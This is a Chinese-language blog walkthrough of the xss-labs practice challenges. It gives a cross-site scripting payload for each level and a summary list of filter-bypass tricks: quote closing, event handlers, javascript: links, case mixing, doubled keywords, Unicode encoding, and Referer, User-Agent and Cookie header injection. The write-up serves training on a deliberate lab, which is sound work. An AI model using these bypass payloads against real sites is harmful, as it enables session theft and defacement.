xss-labs实操

文章目录

1.Level

无过滤法

2.Level2

">闭合

">&submit=搜索

通过观察发现alert里的引号没了,是不是被过滤了呢

因为如果该语句类似如下

<"Str">,也就是说script在引号里面,那么是执行不了的,需要闭合操作,因此前面加个">扔给前面的雨具语句

3.Level3

单引号闭合+事件函数

回显正常,但是没有执行,是什么原因呢,看下面这个发现是在input里

而input可以执行如下的事件函数

主要事件表:

这些都是可供参考的模式

因此构造payload:' οnclick= alert("123")

出现了红色的onclick,前面用双引号不出现

但是发现alert前面被加了双引号,然后后面又有一个单引号和双引号

因此应该补一个单引号,所以

payload:' οnclick=' alert("123");

4.Level4

双引号闭合+事件函数

输入

发现返回了

看这里也是用到了input,那么还是用事件函数

payload:" οnclick=alert('123');"

5.Level5

引号闭合+链接

输入

发现变成

说明script被过滤

还是input,还得用事件函数

输入" οnclick= "alert('123');

o和n被插入了_,也就是说需要做关键字绕过

因此只能再寻找方法:"><a href=javascript:alert('xss')>xss

发现这个方式没有过滤

6.Level6

大小写绕过

script还是被过滤,不能用

onclicke也被过滤,不能用

href也是,那咋办呢

大小写绕过:"><a hRef=javascript:alert('xss')>xss

7.Level7

多写绕过

这一关会直接删除script,会删除on

绕过方法很简单,多写就行:" oonnclick=alert('123');"

即中间多写一个on,两边再接起来就行

8.Level8

unicode编码

href 和script都被过滤,大小写也没用

最后只能使用unicode编码

https://c.runoob.com/front-end/3602/

javascrIpt:alert('xss')

9.Level9

unicode编码+//注释

或unicode编码+/**/注释

输入http://www.baidu.com,没有报错

输入:javascript:alert('xss')//http://www.baidu.com

Unicode编码一下javascript:alert('xss')

//表示注释后面的内容

javascript:alert('xss')//http://

10.Level10

隐藏标签赋值

需为t_sort赋值,需把type赋值为空,不然不显示

t_sort=123" type="" οnclick="alert('xss')

11.Level11

手动编辑赋值

这一关也存在隐藏标签

t_link=123" type="" οnclick="alert('xss')

t_history=123" type="" οnclick="alert('xss')

t_sort=123" type="" οnclick="alert('xss')

t_ref=123" type="" οnclick="alert('xss')

逐个试完还是只有t_sort有变化,但type被写死了

既然语句写不进去,那么手动编辑就好了,强制给type赋值

referer注入

方法二是使用bp抓包通过修改入口referer链接实现

12.Level12

和上一关一模一样的做法

12关方法二

UA头注入

13.Level13

Cookie注入

14关程序有误,链接点不进去,好像是个上传页面,要上传一个有exif漏洞的图片,算了,知道咋回事就行

14.xss绕过总结

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码

burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

' οnclick=' alert("123");

5)双引号闭合+事件函数

" οnclick=alert('123');"

6)引号闭合+链接

"><a href=javascript:alert('xss')>xss

7)大小写绕过

"><a hRef=javascript:alert('xss')>xss

8)多写绕过

" oonnclick=alert('123');"

9)unicode编码

javascript:alert('xss')

javascrIpt:alert('xss')

10)unicode编码+//注释

javascript:alert('xss')//http://www.baidu.com

javascript:alert('xss')//http://

11)隐藏标签赋值

t_sort=123" type="" οnclick="alert('xss')

12)referer注入

" type="" οnclick="alert(document.cookie)

13)UA头注入

" type="" οnclick="alert(document.cookie)

14)Cookie注入

" οnclick="alert('xss') type="

相关推荐
RaidenLiu4 分钟前
告别陷阱:精通Flutter Signals的生命周期、高级API与调试之道
前端·flutter·前端框架
非凡ghost4 分钟前
HWiNFO(专业系统信息检测工具)
前端·javascript·后端
非凡ghost6 分钟前
FireAlpaca(免费数字绘图软件)
前端·javascript·后端
非凡ghost13 分钟前
Sucrose Wallpaper Engine(动态壁纸管理工具)
前端·javascript·后端
拉不动的猪14 分钟前
为什么不建议项目里用延时器作为规定时间内的业务操作
前端·javascript·vue.js
该用户已不存在21 分钟前
Gemini CLI 扩展,把Nano Banana 搬到终端
前端·后端·ai编程
地方地方23 分钟前
前端踩坑记:解决图片与 Div 换行间隙的隐藏元凶
前端·javascript
小猫由里香28 分钟前
小程序打开文件(文件流、地址链接)封装
前端
Tzarevich31 分钟前
使用n8n工作流自动化生成每日科技新闻速览:告别信息过载,拥抱智能阅读
前端
掘金一周42 分钟前
一个前端工程师的年度作品:从零开发媲美商业级应用的后台管理系统 | 掘金一周 10.23
前端·人工智能·后端